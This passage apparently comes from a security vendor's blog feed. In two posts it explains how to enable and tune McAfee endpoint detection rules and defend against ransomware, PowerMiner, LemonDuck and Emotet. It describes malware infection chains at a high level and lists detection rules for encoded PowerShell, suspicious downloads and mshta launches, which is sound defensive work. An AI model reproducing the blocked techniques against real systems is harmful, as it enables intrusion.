HighOn rules detect behavior that is known to be malicious but may have some overlap with non-malicious applications. These rules are set to Observe mode for systems in the “Balanced” rule group, but act as DefaultOn for systems in the “Security” rule group. Later in this blog, we cover how to change the rule group in Endpoint Security products to enable HighOn rules.

How to enable ATP rules in ENS 10.5.3 and above

By default, many ATP rules are set to Observe mode. To enable these rules in an active-blocking mode, login to the ePO Console and go to Menu->Configuration->Server Settings.

 

Figure 1. Rules in the Balanced rule group.

Select Adaptive Threat Protection and select the required rule group (Productivity, Balanced, or Security).

As seen in Figure 1, Rule 329 is in Observe mode in the Balanced rule group and, in Figure 2 below, you can see it is Enabled by default in Security rule group.

Note: As mentioned previously, we analyze rules from time to time and make modifications so you may have different settings in your environment, depending upon the content version.

 

Figure 2. Rules in Security rule group.

To enable a rule click on Edit below the rules and Select the rule you would like to change, then select the desired state – Disabled, Enabled, or Observe. Figure 3. shows how we can change the state of Rule 256 which helps in detecting Emotet and Trickbot downloaders.

 

Figure 3. Changing the Rule State.

Click on Save and the rule should be enabled on the clients within a few minutes. Here you see that Rule 256 blocks malicious file JTI/Suspect.131328 by default.

Figure 4. Evaluate Rule blocking after Enabling.

Change the assigned rule group to use HighOn rules in ENS 10.5.3 and above

In this section, we will step through how you can change the rule group to “Security” which will enable all the HighOn rules in block mode by default. We recommend you check the logs to see if the HighOn rules have detected clean activity within your environments before changing to this rule group.

To change the rule group, login to the ePO console and go to Menu->Systems->System Tree

Figure 5. Selecting the group of systems to modify Policies for ENS.

Select a group and go to the Assigned Policies tab. Select ‘Endpoint Security Adaptive Threat Protection’ from the product dropdown.

Figure 6. Selecting policies to modify the assigned rule group.

Click on ‘My Default’ policy under the ‘Options’ category.

 

Figure 7. Changing the rule group to Security.

Scroll down to Rule Assignment. From the Rule Assignment drop-down list, select Security and click Save. This will update all the clients with ‘My Default’ policy to the Security rule group.

Enable HighOn rules in MVISION Endpoint  

To enable HighOn rules, MVISION Endpoint policy needs to be set to ‘High Protection’ if it is not already set by default. Follow these steps:

Login to the ePO console and go to Menu->Systems->System Tree

Figure 8. Selecting the group of systems to modify policies for MVISION Endpoint

Select a group and go to the Assigned Policies tab. Select ‘MVISION Endpoint’ from the product dropdown.

Figure 9. Selecting the policies to change the Protection mode.

Click on ‘Edit Assignment’ under General Category.

Figure 10. Changing MVISION Endpoint to High Protection.

Change ‘Inherit from’ to ‘Break Inheritance and assign the policy and settings below’. Also, change the ‘Assigned policy’ to ‘High Protection’ from the dropdown list and click on ‘Save’. This will enable all the HighOn rules.

ATP Rules in the Wild

This section highlights three prevalent threats which ATP rules detect. We highlight one rule for each DefaultOn/HighOn/Evaluate to demonstrate the importance of monitoring rule updates and enabling more aggressive rules if they are suitable for your environment.

PowerMiner (DefaultOn example)

The PowerMiner malware is a cryptocurrency malware that has been prevalent since 2019. We have discussed this malware before in a previous blog on AMSI detection. The purpose of PowerMiner is to infect as many machines as possible to mine Monero currency. The initial infection vector is via phishing emails which contain a batch file. Once run, this batch file will execute a malicious PowerShell script that will then begin the infection process.

ATP DefaultOn Rule 263 “Detect processes accessing suspicious URLs” and Rule 262 “Identify suspicious command parameter execution for Security rule group assignments” blocks this threat once PowerShell is executed by the Dropper.bat and it attempts to download the malicious PS1 file.

This is shown by the red cross in the flow chart above. As mentioned in the AMSI blog, this threat is also covered by our AMSI signatures but as we do with several threats, we have different forms of detection in case the malware authors modify their code to attempt to bypass one of them.

The IP Map below shows the detections of this threat between October 2019 and January 2020 by the ATP Rules mentioned above.

LemonDuck (HighOn example)

LemonDuck, like PowerMiner, is a coin mining malware. It spreads via various methods such as the Eternal Blue exploit and Mimikatz. Once a machine has been infected, LemonDuck will create several scheduled tasks to download various components which include the coin mining functionality. The flow chart below shows the Lemon Duck infection process:

 

ATP HighOn rule 329 “Identify and block suspicious usage of Scheduled Tasks in high change systems” blocks LemonDuck at the schedule task creation stage. Again, like PowerMiner, McAfee also has an AMSI signature which detects this threat as LemonDuck!<partial_hash>.

The IP Map below shows the detections of this threat between October 2019 and January 2020 by the ATP Rule mentioned above.

Emotet Downloader (Evaluate example)

Emotet is a Trojan which is responsible for downloading and executing several high-profile malwares including Trickbot, which is turn has been known to download and execute the Ryuk ransomware. Emotet is usually downloaded and executed on the victim’s machine by malicious documents which are sent out via email spam. The malicious document will use PowerShell to download the Emotet executable and execute it. The flow is shown below:

 

McAfee ATP rule 256 ‘Detect use of long -encoded command PowerShell’ and rule 264 ‘Inspect EncodedCommand Powershell’ will detect this behavior if enabled. This is not enabled by default as this behavior can be legitimate, so we recommend checking the detections in Evaluate mode and, if no false positives occur, then turning it on. This rule will also block other malware which performs the same activity as Trickbot. The IP Map below shows the detections Rule 256 has had between October 2019 and January 2020. This will include all threats detected by this rule, not just Emotet.

Recommendations

By now you are likely asking yourself which rules you should turn on. Firstly, it should be noted that enabling ATP Rules will have no performance impact however, as highlighted in the first section, they can sometimes cause false positives.

From the collection of ATP rules, we recommend turning on the ‘Observe’ mode rules mentioned in this blog.

In addition to the rules mentioned for each threat, the following rules can be turned to ‘Enabled’ mode from the EPO console as we described. As mentioned, there is continuous evaluation of these rules by McAfee researchers which can result in rules moving to a different rule group or merging into other existing rules.

  • Rule 238– Identify abuse of common processes spawned from non-standard locations.
  • Protection from files being executed from suspicious locations which are often used by attackers.
  • Rule 309 – Block processes attempting to launch from Office applications.
    • Office documents are the main vectors used to deploy malware. This rule prevents Office applications from being abused to deliver malicious payloads.
  • Rule 312 – Prevent email applications, such as Outlook, from spawning script editors and dual use tool
    • Spam emails are common initial attack vectors being utilized by malware authors. This rule will help to detect suspicious use of email applications by preventing the launch of uncommon processes.
  • Rule 323 – Prevent mshta from being launched as a child process.
    • Related to MITRE technique T1170. Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). Attackers can use mshta.exe to execute malicious .hta files and JavaScript or VBScript. This rule will help to detect the malicious use cases. You can read more about mshta here.

In general, we recommend looking through your ATP logs and checking to see if any ‘Observe’ mode rules are causing detections. If you find any rules that are not detecting legitimate use cases, we advise changing them to ‘Enabled’ mode.

We advise using ePO groups for a small number of machines and then monitor the changed environment for any false positives. If there are no false positives, you can then deploy the changes to a broader group.

KB Article KB82925 shows all the available ATP rules. You can also refer to the ATP Rules Release Notes which are updated when new rules are created, or existing ones are modified.

Conclusion

We hope that this blog has helped highlight how ATP rules protect your environment against a variety of threats and, by combining this technology with others like AMSI, we reinforce protection.

This blog continues a series which help showcase our technology, so we also recommend reading the following:

McAfee Protects against suspicious email attachments

McAfee AMSI integration protects against malicious scripts

Using Expert Rules in ENS to prevent malicious exploits

What Is Mshta, How Can It Be Used and How to Protect Against It

 

All testing was performed with the JTI Content Version 1134 and MVISION Endpoint Version 20.1.0.114 (in High Protection)

The post How To Use McAfee ATP to Protect Against Emotet, LemonDuck and PowerMiner appeared first on McAfee Blog.

ENS 10.7 Rolls Back the Curtain on Ransomware

7 May 2020 at 04:02

Ransomware protection and incident response is a constant battle for IT, security engineers and analysts under normal circumstances, but with the number of people working from home during the COVID-19 pandemic that challenge reaches new heights. How do you ensure an equivalent level of adaptable malware protection on or off the corporate network? How do you enable remote services securely? How long will it take you to recover remote end user systems and data encrypted by ransomware?

As remote workers and IT engineers increasingly use Remote Desktop Protocol (RDP) to access internal resources, attackers are finding more weaknesses to exploit. Attackers are exploiting weak authentication or security controls and even resorting to buying RDP passwords in the underground markets. Exploiting these weaknesses can give an attacker admin access and an easy path to install ransomware or other types of malware, then find their way around the corporate network. To see some examples of how attackers are exploiting RDP weaknesses, check out additional blog posts from McAfee Advanced Threat Research (ATR)

In this blog, we will show how you can leverage Endpoint Security or ENS, McAfee’s Endpoint Protection Platform (EPP), led by some of the new capabilities in ENS 10.7 and MVISION Endpoint Detection and Response (EDR), to do just that.

ENS 10.7, with Threat Prevention, Firewall, Web Control and Adaptive Threat Protection modules backed up by Global Threat Intelligence (GTI) provides adaptable, defense in depth capability against the techniques used in targeted ransomware attacks. For more examples of these techniques, see McAfee ATR’s recent blog on LockBit. Pairing ENS 10.7 with MVISION EDR gives the SOC analysts a powerful toolset to quickly identify attempts to steal credentials and lateral move further into the network.

Finally, McAfee ePolicy Orchestrator (ePO) provides a central management console for endpoint security policy, event collection and reporting on your protected systems on or off the corporate network. Let’s explore some of the key defensive steps you can take to lower your risk against targeted ransomware.

Prevent Initial Access with Threat Prevention

The Endpoint Security Threat Prevention module contains several capabilities including signature scanning and exploit prevention through behavior blocking and reputation analysis, to prevent an attacker gaining access to the system. The first step is to ensure you have the minimum level of security in place. This includes following best practice for on-access and on-demand scanning policies, up to date DAT Files and Engine, and Exploit Prevention content, as well as Global Threat Intelligence access enabled. Targeted ransomware attacks may also leverage file-less exploit techniques which could bypass file-based signature scans and reputation checks. Exploit Prevention rules can be configured to either log or block PowerShell behavior.

However, PowerShell is a legitimate system administration tool and we recommend a period of observation and testing before setting any of these rules to block. For some best practice, you can review this guide as a starting point or check with support for the latest documents.

Restrict RDP as an Initial Attack Vector with Endpoint Security Firewall

If RDP is needed to access internal resources on a server or to troubleshoot a remote system, the best practice is to restrict access to the service using a firewall. This will prevent attackers from leveraging RDP as the initial access vector. ENS 10.7 contains a stateful firewall fully managed via McAfee ePolicy Orchestrator (ePO). You can create policies to restrict RDP access to a remote client to only authorized IP addresses, restrict outbound usage to prevent lateral movement by RDP or block access to that port altogether. Here is an example configuration to restrict inbound access to a remote system on RDP.

  1. Open your Firewall Rules policy and locate the default rule under Network Tools.

  1. If you are using a non-standard port for RDP adjust the local port for this rule appropriately.
  2. Modify the rule by adding authorized IP addresses as remote networks (these are the remote addresses authorized to connect to your endpoints).

  1. Save the changes and apply the policy to endpoints to restrict RDP access.

For additional security create an identical rule but set to block rather than allow, position it below the above rule, and remove the remote IP addresses (so that it applies to all RDP connections not matching the above rule).

  1. Set this rule as an intrusion so that it logs all denied events and forwards them to ePO.

Security analysts in the SOC can then monitor and report on unauthorized access attempts through ePO dashboards. The event logs are useful for early warning, trend analysis and for threat detection and response.

You can find more information on Endpoint Security firewall features here.

Prevent Access to Malicious Websites with Web Control

Attackers often leverage watering holes and spear phishing with links to malicious sites to gain initial access or further infiltrate the network. When a user is on the corporate network, they are often behind a Web Proxy like McAfee Web Gateway. However, many of your mobile clients are going direct to the internet and not through the corporate VPN. This creates more exposure to web-based threats. The Endpoint Security Web Control module monitors web searching and browsing activity on client computers and protects against threats on webpages and in file downloads.

You use McAfee ePO to deploy and manage Web Control on client systems. Settings control access to sites based on their safety rating, reputation from Global Threat Intelligence, the type of content they contain, and their URL or domain name. The configuration settings allow you to adjust sensitivity to be more or less restrictive based on your risk appetite.

If you are a McAfee Web Gateway or Web Gateway Cloud Service customer, you should use McAfee Client Proxy (MCP). MCP works with Web Control to route traffic to the right proxy and provide a defense in depth capability for web protection for users on or off the corporate network.

The above are just a few examples of using Endpoint Security Threat Prevention, Web Control and Firewall to restrict initial attack vectors. To learn more about Endpoint Security best practice to restrict initial entry vectors, visit here.

Let’s look at a few more important steps to protect systems against targeted ransomware.

Lockdown the Security Crown Jewels

If an attacker gets on the system through RDP stolen accounts or vulnerability, they may try to modify, delete or disable security software. In ePO, you should ensure that Self Protection is ON to prevent McAfee services and files on the endpoint or server system from being stopped or modified.

Ensure that ENS is configured to require a password for uninstallation.

 

Security analysts should be on high alert for any system that has Self Protection disabled. ePO contains a default query entitled Endpoint Security: Self Protection Compliance Status which can be used to populate a continuous monitoring dashboard or be packaged into a daily report.

Disrupt and Visualize Attacker Behavior with Adaptive Threat Protection (ATP)

ATP adds several more capabilities, such as machine-learning, threat intelligence, script-scanning and application behavior analysis, to disrupt targeted attack techniques including file-based or file-less attacks.

ATP identifies threats by observing suspicious behaviors and activities. When ATP determines that the context of an execution is malicious, it blocks the malicious activity, and if necessary, remediates (see Enhanced Remediation section below). How does this work? The Real Protect scanner inspects suspicious activities on client systems and uses machine-learning techniques to detect malicious patterns. The Real Protect scanner can scan a network-streamed script, determine if it is malicious, and if necessary, stop the script. Real Protect script scanning integrates with AMSI to protect against non-browser-based scripts, such as PowerShell, JavaScript, and VBScript.

For more information on how ATP remediates threats please review the product guide here.

One of the newest features of ENS 10.7 is the Story Graph. The Story Graph provides a visual representation of threat detections. Below is an example from a simulated file-less attack scenario where a Word document, delivered through spear-phishing, leverages a macro and PowerShell to provide command and control, then elevate privileges and perform lateral movement.

The visualization provides a timeline analysis and context around the event. It correctly captured the attack behavior including the communication to an external attacker IP address. With this visualization, an administrator or security analyst can quickly determine malicious behavior was stopped by ATP, preventing the follow-up activity intended by the attacker. The additional context, such as the originating process and a download IP address, can then be used for further investigations using other log sources, for example. It is important to note that in this example, if the Threat Prevention module as described above was set to block all PowerShell behavior, this attack would have been stopped earlier in the chain. Please read further to see what this attack scenario looks like in MVISION EDR.

For more information on how ATP protects against file-less attacks visit here.

Using a Word document and PowerShell is just one example of masquerading attacks in common files. For more examples of these techniques, see the ATR blog on LockBit ransomware.

ATP Brings Automatic File Recovery with Enhanced Remediation

If you have ever seen a ransom note, like the one from Wanna Decryptor below, you will know how big an issue it can be. It will cost you time, money and most likely lead to loss of data.

If this happens on a remote user system, it will lead to extended downtime, frustrated users and present significant challenges for recovery.

One of the new capabilities in ENS 10.7 is Enhanced Remediation. This feature monitors any process with an unknown reputation and backs up changes made by those processes. If the processes exhibit malicious behavior as determined by machine-learning analysis and reputation, enhanced remediation automatically rolls back those changes made to the system and documents to a previous state.

You can see how files impacted by ransomware can be restored through Enhanced Remediation in this video.

Enhanced Remediation requires that ATP is enabled and policies for Dynamic Application Containment are configured. Real Protect Dynamic scanning must also be enabled on the system. Real Protect Dynamic leverages machine learning in the cloud to identify suspicious behavior and is needed to determine a file reputation which is used to trigger an enhanced remediation action.

For information on how to configure ATP, please review the product guide here. For more best practices on tuning Dynamic Application Containment rules, please review the knowledge base article here.

Once policies are established, ensure that you enable “Enhanced Remediation” and “Monitor and remediate deleted and changed files”

If a file is convicted by Real Protect Dynamic and Enhanced Remediation is enabled with the settings above, then recovery happens automatically. The setting “Monitor and remediate deleted or changed files” must be enabled to ensure any files modified by the ransomware are restored to the previous state.

For more information on how Enhanced Remediation works, please review the product guide here.

Continuous Monitoring with ePO Protection Workspace

Now that you have protection controls in place with Threat Prevention and Adaptive Threat Protection, you can monitor using the Compliance Dashboard in ePO to ensure all managed clients stay up to date.

In addition, events triggered by ATP can be sent to ePO. SOC analysts should monitor these events and use the Story Graph as well for additional investigative capability. For more information on reporting and querying events in ePO, please review the product guide here.

Proactive Monitoring and Hunting with MVISION EDR

One of the first questions a threat hunter needs to answer when a new threat is discovered is “are we exposed?” For example, you may have a policy that already prohibits or restricts RDP but how do you know it is enforced on every endpoint? With MVISION EDR, you can perform a real time search across all managed systems to see what is happening right now. The screenshot below shows a Real-time Search to verify if RDP is enabled or disabled on a system. This provides a view into systems potentially at risk and can also be useful context as part of an investigation.

Real-time Search can also identify systems with active connections on RDP…

MVISION EDR also maintains a history of network connections inbound and outbound from the client. Performing an historical search for network traffic could identify systems that actively communicated on port 3389 to unauthorized addresses, potentially detecting attempts at exploitation.

For a security analyst, EDR providers several benefits to accelerate threat detection and response. For more information on those benefits please review the product guide here. In our simulated file-less attack scenario described above, the story graph revealed a PowerShell connection to an external IP address. Suppose an alert ePO administrator created a ticket for further investigation. A first step by the analyst might be a search for the network activity.

Real-time Search in EDR of that network activity looks like this…

An historical search for the same PowerShell activity in EDR now reveals the encoded commands used in the initial entry vector…

EDR also enables proactive monitoring by a security analyst. The Monitoring Dashboard helps the analyst in the SOC quickly triage suspicious behavior. In this case, the attack leveraged Word and PowerShell to gain access and raise privileges. The attack scenario triggered a number of high threats and provides a lot of context for the analyst to make a quick determination that an attack has been attempted, requiring further action…

Our research into targeted ransomware attacks reveals that if an attacker successfully exploits a client, their next actions involve privilege escalation and lateral movement (see our blog on LockBit). Again, you can use MVISION EDR to quickly detect these techniques.

The Alerting Dashboard in EDR will help you quickly identify attempts at privilege escalation and other attack techniques as defined by the MITRE ATT&CK framework.

Lateral movement is usually the next step and that can involve many different techniques. Again, the Alerting Dashboard identifies lateral movement techniques with details into the specific activity that triggered the alert.

Conclusion

Ransomware and RDP are a dangerous combination. Protecting your remote end users requires a good, secure baseline configuration of Endpoint Security with a Firewall and Self Protection enabled and access to adaptable capability such as Adaptive Threat Protection with Enhanced Remediation. The Enhanced Remediation feature is only available starting in version ENS 10.7, so if you are running older versions of ENS or even VSE (yikes), then it is time to upgrade.

However, stopping targeted ransomware from having an impact on the business requires more than prevention. Both ePO and EDR provide the capability for proactive detection, faster investigations and continuous hunting.

Finally, adaptability requires threat intelligence. McAfee Advanced Threat Researchers and Labs are actively monitoring the threat landscape and continuously updating McAfee Global Threat Intelligence systems. Make sure your Endpoint Security and other McAfee products are using GTI for the latest protection.

For more information on targeted ransomware attacks and techniques, see ATR Blog.

For more details about how to securing RDP access in general, you can refer to a previous McAfee blog.

The post ENS 10.7 Rolls Back the Curtain on Ransomware appeared first on McAfee Blog.

❌
❌